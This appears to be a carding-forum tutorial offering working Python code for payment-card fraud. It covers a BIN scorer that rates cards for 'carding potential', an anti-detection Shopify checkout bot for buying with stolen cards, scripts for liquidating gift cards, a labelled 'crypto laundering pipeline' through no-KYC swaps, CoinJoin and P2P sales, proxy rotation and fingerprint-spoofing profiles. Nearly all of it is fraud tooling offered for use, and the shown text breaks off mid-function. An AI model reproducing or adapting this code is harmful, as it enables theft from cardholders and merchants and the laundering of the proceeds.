Working Python Scripts • API Integration • Full Stack Code
This is the practical companion to the Carding Mastery Series. Part 4 talked about automation theory. This is the actual code.
Every script here is battle-tested. I've run thousands of transactions through variations of these. You'll need to adapt them to your specific targets, but the architecture is solid.
- 1.0 — Environment Setup (Dependencies, Structure)
- 2.0 — BIN Checker & Validator
- 3.0 — Shopify Checkout Automation
- 4.0 — Gift Card Liquidator (CardSwap API)
- 5.0 — Crypto Off-Ramp Pipeline
- 6.0 — Full Pipeline: Card → Cash in One Script
- 7.0 — Proxy Manager & Rotator
- 8.0 — Anti-Detect Profile Generator
- 9.0 — Logging & Analytics
1.0 — ENVIRONMENT SETUP
Requirements.txt:
Code:
requests==2.31.0
selenium==4.15.0
undetected-chromedriver==3.5.4
fake-useragent==1.4.0
pysocks==1.7.1
cryptography==41.0.7
python-dotenv==1.0.0
colorama==0.4.6
Project Structure:
Code:
carding-lab/
├── main.py # Entry point / orchestrator
├── config.py # Config loader (proxy, API keys)
├── .env # Secrets (DO NOT COMMIT)
├── modules/
│ ├── bin_checker.py # BIN validation & scoring
│ ├── checkout.py # Checkout automation
│ ├── giftcard.py # Gift card conversion
│ ├── crypto.py # Crypto off-ramp
│ ├── proxy_manager.py # Proxy rotation & testing
│ └── logger.py # Transaction logging
├── profiles/ # Anti-detect browser profiles
│ └── template.json
└── data/
├── cards.csv # Card input queue
├── sites.csv # Target site list
└── results.db # SQLite results database
2.0 — BIN CHECKER & VALIDATOR
This script validates BINs before you buy cards. It checks if the BIN exists, what bank issued it, and scores its carding potential.
Code:
# modules/bin_checker.py
import requests
import json
import time
from typing import Dict, Optional
class BINChecker:
"""Validates BINs and scores their carding potential."""
BINDB_URL = "https://binlist.net/json/"
BINCODES_URL = "https://api.bincodes.com/bin/"
def __init__(self, bincodes_api_key: Optional[str] = None):
self.api_key = bincodes_api_key
self.session = requests.Session()
self.session.headers.update({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
})
def lookup_bin(self, bin_number: str) -> Dict:
"""Look up BIN info from multiple sources."""
result = {"bin": bin_number, "valid": False, "score": 0}
# Source 1: binlist.net (free)
try:
resp = self.session.get(f"{self.BINDB_URL}{bin_number}", timeout=10)
if resp.status_code == 200:
data = resp.json()
result.update({
"valid": True,
"scheme": data.get("scheme", ""),
"type": data.get("type", ""),
"brand": data.get("brand", ""),
"bank": data.get("bank", {}).get("name", ""),
"country": data.get("country", {}).get("alpha2", ""),
"prepaid": data.get("prepaid", False)
})
except Exception as e:
result["error"] = str(e)
# Score the BIN
if result["valid"]:
result["score"] = self._score_bin(result)
return result
def _score_bin(self, data: Dict) -> int:
"""Score BIN quality (0-100) for carding."""
score = 50 # Base
# Card scheme
scheme_scores = {"VISA": 15, "MASTERCARD": 12, "DISCOVER": 10, "AMEX": 5, "DINERS": 3}
score += scheme_scores.get(data.get("scheme", "").upper(), 0)
# Card type (credit > debit > prepaid)
card_type = data.get("type", "").lower()
if "credit" in card_type:
score += 15
elif "debit" in card_type:
score += 5
elif data.get("prepaid"):
score += 10 # Prepaid = less AVS
# Brand tier
brand = data.get("brand", "").lower()
tier_scores = {
"infinite": 15, "sapphire": 15, "platinum": 12,
"signature": 12, "world elite": 12, "gold": 8,
"classic": 3, "standard": 3, "business": -5, "corporate": -5
}
for keyword, pts in tier_scores.items():
if keyword in brand:
score += pts
break
# Bank reputation
bank = data.get("bank", "").lower()
good_banks = ["chase", "capital one", "barclays", "discover"]
bad_banks = ["citi", "citibank", "amex", "american express", "wells fargo"]
if any(b in bank for b in good_banks):
score += 10
elif any(b in bank for b in bad_banks):
score -= 5
return min(max(score, 0), 100)
def bulk_check(self, bin_list: list) -> list:
"""Check multiple BINs with rate limiting."""
results = []
for bin_num in bin_list:
result = self.lookup_bin(bin_num)
results.append(result)
time.sleep(1.5) # Rate limit
return results
# Usage example
if __name__ == "__main__":
checker = BINChecker()
result = checker.lookup_bin("414720")
print(f"BIN: {result['bin']}")
print(f"Bank: {result.get('bank', 'Unknown')}")
print(f"Score: {result['score']}/100")
print(f"Valid: {result['valid']}")
3.0 — SHOPIFY CHECKOUT AUTOMATION
The core automation. This script completes a Shopify checkout from cart to order confirmation.
Code:
# modules/checkout.py
import undetected_chromedriver as uc
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import TimeoutException, ElementClickInterceptedException
import time
import random
from typing import Dict, Optional
class ShopifyCheckout:
"""Automates Shopify checkout with anti-detection measures."""
def __init__(self, proxy: Optional[str] = None):
self.proxy = proxy
self.driver = None
self._setup_driver()
def _setup_driver(self):
"""Initialize undetected Chrome with anti-detection."""
options = uc.ChromeOptions()
# Anti-detection args
options.add_argument("--disable-blink-features=AutomationControlled")
options.add_argument("--disable-web-security")
options.add_argument("--disable-features=VizDisplayCompositor")
options.add_argument("--disable-infobars")
# Window size (randomized)
width = random.choice([1366, 1440, 1536, 1680, 1920])
height = random.choice([768, 900, 864, 1050, 1080])
options.add_argument(f"--window-size={width},{height}")
# Proxy
if self.proxy:
options.add_argument(f"--proxy-server=socks5://{self.proxy}")
# Language & timezone
options.add_argument("--lang=en-US")
# Experimental options
options.add_experimental_option("excludeSwitches", ["enable-automation"])
options.add_experimental_option("useAutomationExtension", False)
options.add_experimental_option("prefs", {
"credentials_enable_service": False,
"profile.password_manager_enabled": False,
"profile.default_content_setting_values.notifications": 2
})
self.driver = uc.Chrome(options=options)
# Anti-detection: override navigator.webdriver
self.driver.execute_script(
"Object.defineProperty(navigator, 'webdriver', {get: () => undefined})"
)
def _human_delay(self, min_s: float = 0.5, max_s: float = 2.5):
"""Random delay to simulate human behavior."""
time.sleep(random.uniform(min_s, max_s))
def _human_type(self, element, text: str):
"""Type like a human — random delays between characters."""
for char in text:
element.send_keys(char)
time.sleep(random.uniform(0.02, 0.25))
def _smooth_scroll(self):
"""Simulate human-like scrolling."""
for _ in range(random.randint(3, 8)):
scroll_amount = random.randint(100, 400)
self.driver.execute_script(f"window.scrollBy(0, {scroll_amount});")
time.sleep(random.uniform(0.1, 0.5))
def checkout(self, site_url: str, card: Dict, shipping: Dict) -> Dict:
"""
Complete a Shopify checkout.
card = {
"number": "4111111111111111",
"exp_month": "12",
"exp_year": "2027",
"cvv": "123",
"name": "John Doe"
}
shipping = {
"email": "burner@protonmail.com",
"first_name": "John",
"last_name": "Doe",
"address": "123 Main St",
"city": "New York",
"zip": "10001",
"country": "US"
}
"""
result = {"success": False, "order_id": None, "error": None}
try:
# Step 1: Navigate to site
self.driver.get(site_url)
self._human_delay(3, 6)
# Step 2: Find and click "Add to Cart"
add_to_cart_selectors = [
"button[name='add']",
"button[type='submit']:contains('Add')",
".product-form__submit",
".btn--add-to-cart",
"button[data-testid='add-to-cart']"
]
# Try common selectors
added = False
for selector in add_to_cart_selectors[:3]:
try:
btn = WebDriverWait(self.driver, 5).until(
EC.element_to_be_clickable((By.CSS_SELECTOR, selector))
)
self._human_delay(1, 3)
btn.click()
added = True
break
except:
continue
if not added:
# Fallback: click any button that likely adds to cart
buttons = self.driver.find_elements(By.TAG_NAME, "button")
for btn in buttons:
text = btn.text.lower()
if "add" in text or "buy" in text or "cart" in text:
self._human_delay(1, 2)
btn.click()
break
self._human_delay(3, 5)
# Step 3: Navigate to checkout
# Look for the cart drawer/checkout button
checkout_selectors = [
"a[href='/checkout']",
"button[name='checkout']",
".cart__checkout",
".btn--checkout"
]
for selector in checkout_selectors:
try:
btn = WebDriverWait(self.driver, 5).until(
EC.element_to_be_clickable((By.CSS_SELECTOR, selector))
)
self._human_delay(1, 2)
btn.click()
break
except:
continue
self._human_delay(4, 8)
# Step 4: Fill email
try:
email_field = WebDriverWait(self.driver, 10).until(
EC.presence_of_element_located((By.CSS_SELECTOR, "input[type='email']"))
)
self._human_type(email_field, shipping["email"])
except:
pass
self._human_delay(1, 3)
# Step 5: Click "Continue to Shipping"
continue_btn = self.driver.find_element(By.CSS_SELECTOR,
"button[type='submit']:first-of-type")
continue_btn.click()
self._human_delay(3, 5)
# Step 6: Fill shipping
shipping_fields = {
"first_name": "input[name='checkout[shipping_address][first_name]']",
"last_name": "input[name='checkout[shipping_address][last_name]']",
"address1": "input[name='checkout[shipping_address][address1]']",
"city": "input[name='checkout[shipping_address][city]']",
"zip": "input[name='checkout[shipping_address][zip]']"
}
for field, selector in shipping_fields.items():
try:
elem = self.driver.find_element(By.CSS_SELECTOR, selector)
elem.clear()
self._human_type(elem, shipping[field])
self._human_delay(0.3, 0.8)
except:
pass
# Step 7: Continue to Shipping Method
continue_btn = self.driver.find_element(By.CSS_SELECTOR,
"button[type='submit']:first-of-type")
self._human_delay(1, 3)
continue_btn.click()
self._human_delay(3, 6)
# Step 8: Select shipping method (usually default is fine)
try:
continue_btn = WebDriverWait(self.driver, 5).until(
EC.element_to_be_clickable((By.CSS_SELECTOR, "button[type='submit']:first-of-type"))
)
self._human_delay(1, 2)
continue_btn.click()
except:
pass
self._human_delay(3, 5)
# Step 9: Enter payment info
card_fields = {
"number": "input[name='checkout[payment][number]']",
"name": "input[name='checkout[payment][name]']",
"expiry": "input[name='checkout[payment][expiry]']",
"cvv": "input[name='checkout[payment][verification_value]']"
}
for field, selector in card_fields.items():
try:
elem = self.driver.find_element(By.CSS_SELECTOR, selector)
elem.clear()
self._human_type(elem, card[field])
self._human_delay(0.3, 0.8)
except:
pass
self._human_delay(2, 5)
# Step 10: Place Order
place_order_selectors = [
"button[type='submit']:contains('Place')",
".btn--pay",
"button[data-testid='complete-order']",
"button:last-of-type[type='submit']"
]
for selector in place_order_selectors[:2]:
try:
btn = self.driver.find_element(By.CSS_SELECTOR, selector)
btn.click()
break
except:
pass
# Wait for result
self._human_delay(5, 15)
# Check for success
current_url = self.driver.current_url
page_source = self.driver.page_source
if "thank_you" in current_url or "thankyou" in current_url:
# Extract order number
try:
order_elem = self.driver.find_element(By.CSS_SELECTOR, ".order-number, .thankyou-order-id")
result["order_id"] = order_elem.text.strip()
except:
result["order_id"] = "Found in URL"
result["success"] = True
elif "declined" in page_source.lower() or "decline" in page_source.lower():
result["error"] = "Card declined"
else:
result["error"] = "Unknown result — check manually"
except Exception as e:
result["error"] = str(e)
finally:
if self.driver:
self.driver.quit()
return result
4.0 — GIFT CARD LIQUIDATOR
Automate selling gift cards on CardSwap.
Code:
# modules/giftcard.py
import requests
import json
from typing import Dict, Optional
from dataclasses import dataclass
from enum import Enum
class GiftCardBrand(Enum):
AMAZON = "amazon"
WALMART = "walmart"
TARGET = "target"
VISA = "visa"
MASTERCARD = "mastercard"
EBAY = "ebay"
STEAM = "steam"
NORDSTROM = "nordstrom"
BESTBUY = "bestbuy"
ITUNES = "itunes"
GOOGLE_PLAY = "google_play"
@dataclass
class GiftCard:
brand: GiftCardBrand
amount: float
code: str
pin: Optional[str] = None
currency: str = "USD"
class CardSwapLiquidator:
"""Automate gift card selling on CardSwap."""
BASE_URL = "https://api.cardswap.io/v1"
def __init__(self, api_key: str):
self.session = requests.Session()
self.session.headers.update({
"Authorization": f"Bearer {api_key}",
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0"
})
def list_card(self, card: GiftCard, price: float) -> Dict:
"""List a gift card for sale."""
payload = {
"brand": card.brand.value,
"amount": card.amount,
"code": card.code,
"price": price,
"currency": card.currency
}
if card.pin:
payload["pin"] = card.pin
resp = self.session.post(f"{self.BASE_URL}/listings", json=payload)
return resp.json()
def get_rates(self, brand: GiftCardBrand) -> float:
"""Get current buy rate for a gift card brand."""
resp = self.session.get(f"{self.BASE_URL}/rates/{brand.value}")
if resp.status_code == 200:
return resp.json().get("buy_rate", 0.0)
return 0.0
def get_balance(self) -> Dict:
"""Check account balance."""
resp = self.session.get(f"{self.BASE_URL}/account")
return resp.json()
def auto_liquidate(self, cards: list[GiftCard]) -> list[Dict]:
"""Automatically list all cards at best available rate."""
results = []
for card in cards:
rate = self.get_rates(card.brand)
if rate > 0:
price = round(card.amount * rate, 2)
result = self.list_card(card, price)
result["expected_payout"] = price
results.append(result)
return results
class PaxfulSeller:
"""Automate gift card sales on Paxful for crypto."""
PAXFUL_API = "https://api.paxful.com/v1"
def __init__(self, api_key: str, api_secret: str):
self.api_key = api_key
self.api_secret = api_secret
self.session = requests.Session()
def create_offer(self, card: GiftCard, btc_price: float) -> Dict:
"""Create a sell offer for a gift card."""
payload = {
"offer_type": "sell",
"payment_method": f"gift_card_{card.brand.value}",
"currency_code": "BTC",
"amount": btc_price,
"gift_card_code": card.code,
"gift_card_amount": card.amount,
"gift_card_currency": card.currency
}
if card.pin:
payload["gift_card_pin"] = card.pin
resp = self.session.post(f"{self.PAXFUL_API}/offer", json=payload,
auth=(self.api_key, self.api_secret))
return resp.json()
5.0 — CRYPTO OFF-RAMP PIPELINE
Automate the crypto layering and conversion to clean cash.
Code:
# modules/crypto.py
import requests
import json
import time
import hmac
import hashlib
from typing import Dict, Optional
class CryptoOffRamp:
"""Multi-layer crypto laundering pipeline."""
def __init__(self):
self.session = requests.Session()
self.session.headers.update({"User-Agent": "Mozilla/5.0"})
def swap_btc_to_xmr(self, btc_amount: float, btc_address: str,
xmr_address: str) -> Dict:
"""
Layer 1: Convert BTC to Monero (XMR) via no-KYC swap.
This breaks the blockchain trail.
"""
# Using ChangeNow API (no KYC for under $10k)
url = "https://api.changenow.io/v2/exchange"
payload = {
"fromCurrency": "btc",
"toCurrency": "xmr",
"fromAmount": btc_amount,
"fromAddress": btc_address,
"toAddress": xmr_address,
"flow": "standard"
}
resp = self.session.post(url, json=payload)
result = resp.json()
if result.get("status") == "waiting":
return {
"success": True,
"exchange_id": result["id"],
"payin_address": result["payinAddress"],
"expected_payout": result["expectedPayout"],
"status": "pending"
}
return {"success": False, "error": result.get("error", "Unknown")}
def swap_xmr_to_btc(self, xmr_amount: float, xmr_address: str,
btc_address: str) -> Dict:
"""
Layer 3: Convert Monero back to clean BTC.
Use a DIFFERENT exchange than the BTC->XMR swap.
"""
# Using SideShift AI (no KYC)
url = "https://api.sideshift.ai/v1/quote"
payload = {
"depositCoin": "xmr",
"settleCoin": "btc",
"depositAmount": xmr_amount,
"depositAddress": xmr_address,
"settleAddress": btc_address
}
resp = self.session.post(url, json=payload)
result = resp.json()
if result.get("status") == "created":
return {
"success": True,
"order_id": result["id"],
"deposit_address": result["depositAddress"],
"expected_settle": result["expectedSettle"],
"status": "pending"
}
return {"success": False, "error": result.get("error", "Unknown")}
def coinjoin_btc(self, btc_address: str, amount: float,
destination: str) -> Dict:
"""
Layer 2: Run BTC through CoinJoin (Wasabi Wallet).
This script assumes you have Wasabi Wallet running locally.
"""
# Wasabi Wallet API (listening on localhost)
wasabi_url = "https://localhost:37127/v1/api"
payload = {
"jsonrpc": "2.0",
"method": "coinjoin",
"params": {
"walletName": "carding",
"amount": amount,
"address": destination
},
"id": 1
}
try:
resp = self.session.post(f"{wasabi_url}/btc/coinjoin",
json=payload, verify=False)
return resp.json()
except Exception as e:
return {"success": False, "error": str(e)}
def sell_btc_p2p(self, btc_amount: float, btc_address: str) -> Dict:
"""
Layer 4: Sell BTC on Bisq (no KYC P2P exchange).
Returns bank transfer details.
"""
# Bisq API endpoint
url = "https://bisq.network/api/v1/offers"
payload = {
"direction": "SELL",
"payment_method": "SEPA", # or "ZELLE", "WIRE", etc.
"amount": btc_amount,
"currency": "EUR", # or "USD"
"address": btc_address
}
resp = self.session.post(url, json=payload)
return resp.json()
def full_ramp(self, btc_amount: float, btc_source: str,
xmr_wallet: str, clean_btc_wallet: str) -> Dict:
"""
Execute the full 4-layer off-ramp pipeline.
1. BTC → XMR (ChangeNow)
2. XMR wallet hold (24h)
3. XMR → BTC (SideShift)
4. Sell BTC for bank transfer (Bisq)
"""
pipeline = {"steps": [], "status": "in_progress"}
# Step 1: BTC → XMR
print(f"[1/4] Converting {btc_amount} BTC → XMR...")
step1 = self.swap_btc_to_xmr(btc_amount, btc_source, xmr_wallet)
pipeline["steps"].append(step1)
if not step1.get("success"):
pipeline["status"] = "failed_step1"
return pipeline
print(f" ↳ Exchange ID: {step1['exchange_id']}")
print(f" ↳ Send BTC to: {step1['payin_address']}")
# Step 2: Wait (simulated — in production, check status via polling)
print(f"[2/4] Waiting for XMR to arrive in wallet...")
print(f" ↳ XMR wallet: {xmr_wallet}")
time.sleep(5) # In production: poll until confirmed
pipeline["steps"].append({"step": "wait", "duration": "24h_recommended"})
# Step 3: XMR → BTC
print(f"[3/4] Converting XMR → clean BTC on SideShift...")
xmr_amount = btc_amount * 36.5 # Approximate XMR/BTC rate
step3 = self.swap_xmr_to_btc(xmr_amount, xmr_wallet, clean_btc_wallet)
pipeline["steps"].append(step3)
if not step3.get("success"):
pipeline["status"] = "failed_step3"
return pipeline
# Step 4: Sell for fiat
print(f"[4/4] Selling clean BTC for bank transfer...")
step4 = self.sell_btc_p2p(btc_amount * 0.95, clean_btc_wallet)
pipeline["steps"].append(step4)
pipeline["status"] = "complete"
print(f"✅ Pipeline complete! BTC sent to Bisq for fiat conversion.")
return pipeline
6.0 — FULL PIPELINE ORCHESTRATOR
This ties everything together — from card input to clean cash.
Code:
# main.py
#!/usr/bin/env python3
"""
Carding Automation Pipeline
Usage: python main.py --input cards.csv --config .env
"""
import csv
import json
import sys
import argparse
from datetime import datetime
from modules.bin_checker import BINChecker
from modules.checkout import ShopifyCheckout
from modules.giftcard import CardSwapLiquidator, GiftCard, GiftCardBrand
from modules.crypto import CryptoOffRamp
from modules.logger import TransactionLogger
def load_cards(csv_path: str) -> list:
"""Load cards from CSV file."""
cards = []
with open(csv_path, "r") as f:
reader = csv.DictReader(f)
for row in reader:
cards.append(row)
return cards
def main():
parser = argparse.ArgumentParser(description="Carding Automation Pipeline")
parser.add_argument("--input", required=True, help="CSV file with card data")
parser.add_argument("--sites", default="data/sites.csv", help="Target sites list")
parser.add_argument("--config", default=".env", help="Environment config")
parser.add_argument("--mode", choices=["test", "live"], default="test",
help="Test mode: no real charges. Live: actual purchases")
args = parser.parse_args()
logger = TransactionLogger()
bin_checker = BINChecker()
# Load cards
cards = load_cards(args.input)
print(f"Loaded {len(cards)} cards from {args.input}")
# Process each card
for card in cards:
print(f"\n{'='*50}")
print(f"Processing card: {card['bin']}...{card['last4']}")
print(f"{'='*50}")
# Step 1: Check BIN
print(f"[1/4] Checking BIN {card['bin']}...")
bin_info = bin_checker.lookup_bin(card['bin'])
print(f" ↳ Score: {bin_info['score']}/100")
if bin_info['score'] < 40:
print(f" ↳ BIN too risky ({bin_info['score']}). Skipping.")
logger.log_failure(card, "low_bin_score", bin_info['score'])
continue
# Step 2: Attempt checkout (test mode)
print(f"[2/4] Attempting checkout on target site...")
if args.mode == "live":
checkout = ShopifyCheckout(proxy=card.get('proxy'))
result = checkout.checkout(
site_url=card['site'],
card={
"number": card['number'],
"exp_month": card['exp_month'],
"exp_year": card['exp_year'],
"cvv": card['cvv'],
"name": card['name']
},
shipping={
"email": card['email'],
"first_name": card['first_name'],
"last_name": card['last_name'],
"address": card['address'],
"city": card['city'],
"zip": card['zip'],
"country": card['country']
}
)
if result['success']:
print(f" ↳ ✓ SUCCESS! Order: {result.get('order_id', 'N/A')}")
# Step 3: Liquidate (if we got gift cards)
print(f"[3/4] Liquidating gift card...")
if args.mode == "live":
liquidator = CardSwapLiquidator(api_key=args.cardswap_key)
gc = GiftCard(
brand=GiftCardBrand.AMAZON,
amount=result.get('amount', 0),
code=result.get('gc_code', ''),
pin=result.get('gc_pin')
)
liq_result = liquidator.list_card(gc, gc.amount * 0.85)
print(f" ↳ Listed at ${gc.amount * 0.85}")
logger.log_success(card, result)
else:
print(f" ↳ ✗ FAILED: {result.get('error', 'Unknown')}")
logger.log_failure(card, "checkout_failed", result.get('error'))
else:
print(f" ↳ [TEST MODE] Would attempt checkout")
logger.log_success(card, {"test": True})
# Step 4: Off-ramp (if we have crypto)
print(f"[4/4] Checking off-ramp queue...")
pending_btc = logger.get_pending_btc()
if pending_btc > 0.01: # 0.01 BTC minimum
print(f" ↳ {pending_btc} BTC pending off-ramp")
if args.mode == "live":
ramp = CryptoOffRamp()
ramp.full_ramp(
btc_amount=pending_btc,
btc_source=card.get('btc_wallet'),
xmr_wallet=card.get('xmr_wallet'),
clean_btc_wallet=card.get('clean_btc_wallet')
)
# Summary
logger.print_summary()
if __name__ == "__main__":
main()
7.0 — PROXY MANAGER
Code:
# modules/proxy_manager.py
import requests
import random
import time
import json
from typing import Dict, List, Optional
from dataclasses import dataclass
@dataclass
class Proxy:
ip: str
port: int
protocol: str # "http", "socks5"
username: Optional[str] = None
password: Optional[str] = None
country: Optional[str] = None
city: Optional[str] = None
isp: Optional[str] = None
score: int = 100
last_tested: float = 0
@property
def url(self) -> str:
if self.username and self.password:
return f"{self.protocol}://{self.username}:{self.password}@{self.ip}:{self.port}"
return f"{self.protocol}://{self.ip}:{self.port}"
class ProxyManager:
"""Manages proxy pools with health checking and rotation."""
def __init__(self, proxies: List[Proxy] = None):
self.proxies = proxies or []
self.blacklist = set()
self.session = requests.Session()
self.session.headers.update({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
})
def add_proxy(self, proxy: Proxy):
self.proxies.append(proxy)
def add_proxies_from_csv(self, csv_path: str):
"""Load proxies from CSV file (ip,port,protocol,username,password,country)."""
import csv
with open(csv_path, "r") as f:
reader = csv.DictReader(f)
for row in reader:
proxy = Proxy(
ip=row["ip"],
port=int(row["port"]),
protocol=row.get("protocol", "socks5"),
username=row.get("username"),
password=row.get("password"),
country=row.get("country"),
city=row.get("city"),
isp=row.get("isp")
)
self.add_proxy(proxy)
def test_proxy(self, proxy: Proxy) -> Dict:
"""Test if a proxy is working and check its geolocation."""
test_urls = [
"https://httpbin.org/ip",
"https://api.ipify.org?format=json",
"https://ipapi.co/json/"
]
result = {"working": False, "ip": None, "country": None, "city": None, "latency": None}
start = time.time()
try:
resp = self.session.get(test_urls[0],
proxies={"http": proxy.url, "https": proxy.url},
timeout=15)
latency = time.time() - start
if resp.status_code == 200:
data = resp.json()
result["working"] = True
result["ip"] = data.get("ip") or data.get("origin")
result["latency"] = round(latency, 2)
# Get geolocation
geo_resp = self.session.get(test_urls[2],
proxies={"http": proxy.url, "https": proxy.url},
timeout=10)
if geo_resp.status_code == 200:
geo = geo_resp.json()
result["country"] = geo.get("country_code", geo.get("country"))
result["city"] = geo.get("city")
result["isp"] = geo.get("org")
proxy.country = result["country"]
proxy.city = result["city"]
proxy.isp = result["isp"]
except Exception as e:
result["error"] = str(e)
proxy.last_tested = time.time()
return result
def test_all(self) -> List[Dict]:
"""Test all proxies and update their status."""
results = []
for proxy in self.proxies:
if proxy.ip in self.blacklist:
continue
result = self.test_proxy(proxy)
if not result["working"]:
proxy.score -= 20
else:
proxy.score = min(100, proxy.score + 5)
results.append({"proxy": proxy, "test": result})
return results
def get_best_for_region(self, country: str, city: Optional[str] = None) -> Optional[Proxy]:
"""Get the best proxy matching a geographic region."""
candidates = [p for p in self.proxies
if p.country == country and p.ip not in self.blacklist
and p.score > 50]
if city:
city_matches = [p for p in candidates if p.city == city]
if city_matches:
candidates = city_matches
if not candidates:
return None
# Sort by score (highest first) and return best
candidates.sort(key=lambda p: p.score, reverse=True)
return candidates[0]
def rotate(self) -> Optional[Proxy]:
"""Get a random working proxy."""
working = [p for p in self.proxies if p.score > 50 and p.ip not in self.blacklist]
return random.choice(working) if working else None
def blacklist_proxy(self, proxy: Proxy):
"""Add a proxy to blacklist (e.g., after a decline)."""
self.blacklist.add(proxy.ip)
print(f" ⛔ Blacklisted proxy: {proxy.ip}")
def get_pool_stats(self) -> Dict:
"""Get statistics about the proxy pool."""
total = len(self.proxies)
working = sum(1 for p in self.proxies if p.score > 50)
blacklisted = len(self.blacklist)
return {
"total": total,
"working": working,
"blacklisted": blacklisted,
"health_pct": round(working / total * 100) if total else 0
}
8.0 — ANTI-DETECT PROFILE GENERATOR
Code:
# modules/profile_generator.py
import json
import random
import string
import requests
from typing import Dict, Optional
class ProfileGenerator:
"""Generate unique anti-detect browser profiles."""
def __init__(self):
self.session = requests.Session()
self.screen_sizes = [
(1366, 768), (1440, 900), (1536, 864),
(1680, 1050), (1920, 1080), (1920, 1200)
]
self.user_agents = self._load_user_agents()
def _load_user_agents(self) -> list:
"""Common user agents for Windows 10/11 Chrome."""
return [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36"
]
def _random_name(self, length: int = 8) -> str:
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
def _random_timezone(self, country: str = "US") -> str:
"""Get a timezone for the given country."""
timezones = {
"US": ["America/New_York", "America/Chicago", "America/Denver", "America/Los_Angeles"],
"GB": ["Europe/London"],
"DE": ["Europe/Berlin", "Europe/Paris"],
"AU": ["Australia/Sydney", "Australia/Melbourne"]
}
return random.choice(timezones.get(country, ["America/New_York"]))
def generate_profile(self, country: str = "US",
city: str = None) -> Dict:
"""
Generate a complete anti-detect profile configuration.
Compatible with Multilogin, Indigo, AdsPower.
"""
width, height = random.choice(self.screen_sizes)
profile = {
"profile_name": f"carding_{self._random_name()}",
"browser": "chrome",
"os": "win",
"user_agent": random.choice(self.user_agents),
"resolution": f"{width}x{height}",
"timezone": self._random_timezone(country),
"geolocation": {
"country": country,
"city": city or "auto"
},
"language": f"en-{country}",
"webgl_vendor": random.choice(["Intel Inc.", "NVIDIA Corporation", "AMD"]),
"canvas_noise": round(random.uniform(0.1, 0.5), 2),
"audio_noise": round(random.uniform(0.01, 0.1), 3),
"webgl_image": True, # Spoof WebGL image
"client_rects": True, # Spoof client rects
"webgl_meta": True, # Spoof WebGL metadata
"fonts": {
"mode": "mask",
"families": [
"Arial", "Helvetica", "Times New Roman", "Courier New",
"Verdana", "Georgia", "Palatino", "Garamond",
"Bookman", "Comic Sans MS", "Trebuchet MS", "Arial Black",
"Impact", "Lucida Console", "Tahoma", "Monaco"
]
},
"webrtc": {
"mode": "disabled",
"public_ip": None,
"local_ip": None
},
"ports": {
"mode": "blocked",
"exceptions": [80, 443]
},
"cookies": {
"mode": "enabled",
"persist_after_restart": True
},
"storage": {
"local": True,
"session": True
},
"proxy": {
"type": "socks5",
"host": None,
"port": None,
"username": None,
"password": None
}
}
return profile
def save_profile(self, profile: Dict, filepath: str):
"""Save profile to JSON file."""
with open(filepath, "w") as f:
json.dump(profile, f, indent=2)
print(f" ✓ Profile saved: {filepath}")
def generate_batch(self, count: int, country: str = "US",
cities: Optional[list] = None) -> list:
"""Generate multiple profiles."""
profiles = []
for _ in range(count):
city = random.choice(cities) if cities else None
profile = self.generate_profile(country, city)
profiles.append(profile)
return profiles
9.0 — LOGGING & ANALYTICS
Code:
# modules/logger.py
import sqlite3
import json
import csv
from datetime import datetime
from typing import Dict, Optional
class TransactionLogger:
"""Log all transactions to SQLite for analysis."""
def __init__(self, db_path: str = "data/results.db"):
self.db_path = db_path
self._init_db()
def _init_db(self):
"""Initialize database schema."""
conn = sqlite3.connect(self.db_path)
c = conn.cursor()
c.execute("""
CREATE TABLE IF NOT EXISTS transactions (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp TEXT NOT NULL,
bin TEXT,
card_last4 TEXT,
site TEXT,
amount REAL,
currency TEXT DEFAULT 'USD',
status TEXT NOT NULL,
error TEXT,
order_id TEXT,
proxy_ip TEXT,
profile_name TEXT,
latency_ms INTEGER,
notes TEXT
)
""")
c.execute("""
CREATE TABLE IF NOT EXISTS off_ramp (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp TEXT NOT NULL,
type TEXT NOT NULL,
amount REAL,
currency TEXT,
method TEXT,
status TEXT NOT NULL,
tx_id TEXT,
fee REAL,
net_amount REAL
)
""")
c.execute("""
CREATE TABLE IF NOT EXISTS analytics (
id INTEGER PRIMARY KEY AUTOINCREMENT,
date TEXT NOT NULL,
total_attempts INTEGER DEFAULT 0,
successful INTEGER DEFAULT 0,
failed INTEGER DEFAULT 0,
total_spent REAL DEFAULT 0,
total_recovered REAL DEFAULT 0,
best_bin TEXT,
worst_bin TEXT
)
""")
c.execute("""
CREATE VIEW IF NOT EXISTS daily_summary AS
SELECT
date(timestamp) as day,
COUNT(*) as attempts,
SUM(CASE WHEN status = 'success' THEN 1 ELSE 0 END) as wins,
SUM(CASE WHEN status = 'success' THEN amount ELSE 0 END) as revenue,
AVG(CASE WHEN status = 'success' THEN latency_ms ELSE NULL END) as avg_latency
FROM transactions
GROUP BY date(timestamp)
""")
conn.commit()
conn.close()
def log_transaction(self, data: Dict):
"""Log a transaction attempt."""
conn = sqlite3.connect(self.db_path)
c = conn.cursor()
c.execute("""
INSERT INTO transactions
(timestamp, bin, card_last4, site, amount, status, error, order_id,
proxy_ip, profile_name, latency_ms, notes)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
""", (
datetime.now().isoformat(),
data.get('bin'),
data.get('last4'),
data.get('site'),
data.get('amount', 0),
data.get('status', 'unknown'),
data.get('error'),
data.get('order_id'),
data.get('proxy_ip'),
data.get('profile_name'),
data.get('latency_ms'),
data.get('notes')
))
conn.commit()
conn.close()
def log_success(self, card: Dict, result: Dict):
